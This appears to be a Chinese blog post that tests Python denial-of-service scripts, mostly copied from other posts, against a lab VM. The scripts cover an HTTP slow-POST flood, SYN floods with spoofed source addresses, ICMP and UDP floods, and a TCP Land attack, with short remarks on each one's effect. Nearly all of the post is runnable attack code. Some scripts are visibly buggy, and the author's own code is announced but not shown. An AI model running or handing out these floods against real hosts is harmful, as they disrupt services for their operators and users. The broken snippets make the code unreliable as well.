Python dos攻击代码实操

我将使用多种攻击方式进行对比,有什么不对的地方请大家指出

          测试靶机:                                               攻击机:

cpu: 2核(虚拟机、模拟小服务器)                         1核(虚拟机)

内存:4g                                                            1g

网络:家用千兆                                                  10m上下行对等

靶机待机cpu占用:1%

并且靶机有一定的安全防护攻击端口取80、445、339、8080的最优数据

1.http泛洪攻击

测试代码来自:http泛洪攻击原理与实例_应用层泛洪攻击-CSDN博客

运行代码时靶机cpu占用:

视乎没啥用,靶机网络正常

测试代码:

import socket
import time
import threading

MAX_CONN = 20000
PORT = 80
HOST = "192.168.1.84"
PAGE = "/login.html"

buf = ("POST %s HTTP/1.1\r\n"
       "Host: %s\r\n"
       "Content-Length: 10000000\r\n"
       "Cookie: dklkt_dos_test\r\n"
       "\r\n" % (PAGE, HOST))

socks = []


def conn_thread():
    global socks
    for i in range(0, MAX_CONN):
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        try:
            s.connect((HOST, PORT))
            s.send(buf)
            socks.append(s)
        except Exception:
            time.sleep(10)


def send_thread():
    global socks
    while True:
        for s in socks:
            try:
                s.send("f")
            except Exception:
                socks.remove(s)
                s.close()
        time.sleep(1)


conn_th = threading.Thread(target=conn_thread, args=())
send_th = threading.Thread(target=send_thread, args=())

conn_th.start()
send_th.start()

2.scapy库实现SYN洪水攻击

测试代码来自:[笔记]使用Python的scapy库实现SYN洪水攻击_syn泛洪攻击 csdn-CSDN博客

测试数据:

还不错,靶机网络正常

测试代码:

from scapy.layers.inet import *
# 引入IP(),TCP()等函数
from scapy.all import *
import random


# 生成随机的IP
def randomIP():
    ip = ".".join(map(str, (random.randint(0, 255) for i in range(4))))
    return ip


# 生成随机端口
def randomPort():
    port = random.randint(1000, 10000)
    return port


# syn-flood
def synFlood(count, dstIP):
    total = 0
    print("Packets are sending ...")
    for i in range(count):
        # IPlayer
        srcIP = '192.168.xxx.xxx'  # 此处为源ip地址,读者请自己填写
        dstIP = dstIP
        IPlayer = IP(src=srcIP, dst=dstIP)
        # TCPlayer
        srcPort = randomPort()
        TCPlayer = TCP(sport=srcPort, dport=randomPort(), flags="S")
        # 发送包
        packet = IPlayer / TCPlayer
        send(packet)
        total += 119
    print("Total packets sent: %i" % total)


# 显示的信息
def info():
    print("#" * 30)
    print("# Welcome to SYN Flood Tool  #")
    print("#" * 30)
    # 输入目标IP和端口
    dstIP = input("Target IP : ")
    return dstIP


if __name__ == '__main__':
    dstIP = info()
    count = int(input("Please input the number of packets:"))
    synFlood(count, dstIP)

3.Scapy库实现SYN洪水攻击

测试代码来自:Scapy库实现SYN洪水攻击的Python脚本_python写一个脚本发送syn数据包-CSDN博客

测试数据:

可以看,靶机网络正常

测试代码:

from scapy.all import *
import socket
import random
from scapy.layers.inet import TCP, IP


class IPGeneration:
    def __init__(self):
        self.localIP = socket.gethostbyname(socket.gethostname())

    def getRandomIP(self):
        while (True):
            tempIP = str(random.randint(128, 150)) + '.' \
                     + str(random.randint(1, 254)) + '.' \
                     + str(random.randint(1, 254)) + '.' \
                     + str(random.randint(1, 254))
            if tempIP != str(self.localIP):
                return tempIP


class SynFlood:
    def __init__(self, attackIP, attackPort):
        self.ipGeneration = IPGeneration()
        self.srcIP = self.ipGeneration.getRandomIP()
        self.srcPort = random.randint(1000, 65535)
        self.dstIP = attackIP
        self.dstPort = attackPort

    def attack(self):
        self.srcIP = self.ipGeneration.getRandomIP()
        self.srcPort = random.randint(1000, 65535)
        ip = IP(src=self.srcIP, dst=self.dstIP)
        tcp = TCP(sport=self.srcPort, dport=self.dstPort, flags="S")
        send(ip / tcp, verbose=0)

    def flood(self, times):
        for i in range(times):
            self.attack()


dstIP = input("请输入攻击的目标的主机的ip地址:")
dstPort = eval(input("请输入攻击的目标主机的端口(Web服务器: 80, FTP服务器: 21) : "))
times = eval(input("请输入攻击次数:"))
syn = SynFlood(dstIP, dstPort)
syn.flood(times)

4.ICMP洪水攻击

测试代码来自:基于python的 ICMP洪水攻击 GUI迭代版_pythin icmp flood-CSDN博客

测试数据:

还不错,靶机网络正常

测试代码:

import threading
from scapy.layers.inet import IP, ICMP
from scapy.sendrecv import send
from concurrent.futures import ThreadPoolExecutor


class ICMPFloodAttack:
    def __init__(self):
        self.attack_flag = False

    def icmp_flood(self, ip):
        while self.attack_flag:
            payload = '我没有攻击你!'
            data = IP(dst=ip) / ICMP() / payload * 20000
            send(data, verbose=False)
            print("Attack sent to {}".format(ip))

    def start_attack(self, ip):
        self.attack_flag = True
        threading.Thread(target=self.attack_thread, args=(ip,)).start()

    def stop_attack(self):
        self.attack_flag = False

    def attack_thread(self, ip):
        with ThreadPoolExecutor(max_workers=1000) as executor:
            for _ in range(1000):
                executor.submit(self.icmp_flood, ip)
                if not self_flag:
                    break


if __name__ == "__main__":
    attacker = ICMPFloodAttack()
    ip = input("请输入目标IP地址: ")
    attacker.start_attack(ip)

else:
    print("未开始攻击。")

5.UDP洪水攻击

测试代码来自:Python 实现 DoS 攻击 —— UDP洪水攻击_python udpflood-CSDN博客

测试数据:

已经可以看了,但是有一个小问题它是遍历了所有端口但是长时间攻击后端口用完了会出现目标计算机积极拒绝,靶机网络正常

测试代码:

from socket import *
import random

# 创建 socket 关键字
st = socket(AF_INET, SOCK_DGRAM)
# 创建随机报文数据
bytes = random._urandom(1024)

ip = input("IP Target :")
port = 1
sent = 0

print("UDP flood attack is about to begin...")

while True:
    # 发送数据
    st.sendto(bytes, (ip, port))
    sent += 1
    port += 1
    print("Sent %s packet to %s throught port:%s" % (sent, ip, port))
    if port == 65534:
        port = 1

6.scapy半连接泛洪

测试代码来自:Python 实现 DoS 攻击 —— UDP洪水攻击_python udpflood-CSDN博客

测试数据:

一般,靶机网络正常

测试代码:

import random
import threading
# 使用scapy半连接泛洪
from scapy.layers.inet import IP, TCP
from scapy.sendrecv import send


def scapy_flood():
    while True:
        sport = random.randint(10000, 30000)  # 需要生成一个随机端口
        pkg = IP(dst='192.168.112.188') / TCP(sport=sport, dport=3306, flags='S')
        send(pkg, verbose=False)


if __name__ == '__main__':
    for i in range(500):
        threading.Thread(target=scapy_flood).start()

7.TCP_Land泛洪

测试代码来自:Python 实现 DoS 攻击 —— UDP洪水攻击_python udpflood-CSDN博客

测试数据:

不知道为啥没效果,靶机网络正常

测试代码:

import random
import threading

from scapy.layers.inet import IP, TCP
from scapy.sendrecv import send


# TCP Land:使源IP和目的IP一致
def scapy_flood():
    while True:
        sport = random.randint(10000, 30000)  # 需要生成一个随机端口
        pkg = IP(src='192.168.112.188')
        dst = '192.168.112.188' / TCP(sport=sport, dport=3306, flags='S')
        send(pkg, verbose=False)


if __name__ == '__main__':
    for i in range(500):
        threading.Thread(target=scapy_flood).start()

8.ICMP进行泛洪

测试代码来自:Python 实现 DoS 攻击 —— UDP洪水攻击_python udpflood-CSDN博客

测试数据:

还行但是后面就都被拒绝了,靶机网络正常

测试代码:

import threading
from scapy.layers.inet import IP, ICMP
from scapy.sendrecv import send


# ICMP泛洪
def icmp_flood():
    while True:
        payload = 'helloworld' * 50
        pkg = IP(dst='192.168.0.195') / ICMP() / payload
        send(pkg, verbose=False)


if __name__ == '__main__':
    for i in range(500):
        threading.Thread(target=icmp_flood).start()

9.我自己写的

测试数据:

还不错吧嘿嘿

代码在上面,仅供学习使用

家用网关还是干得动的

  • 14
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值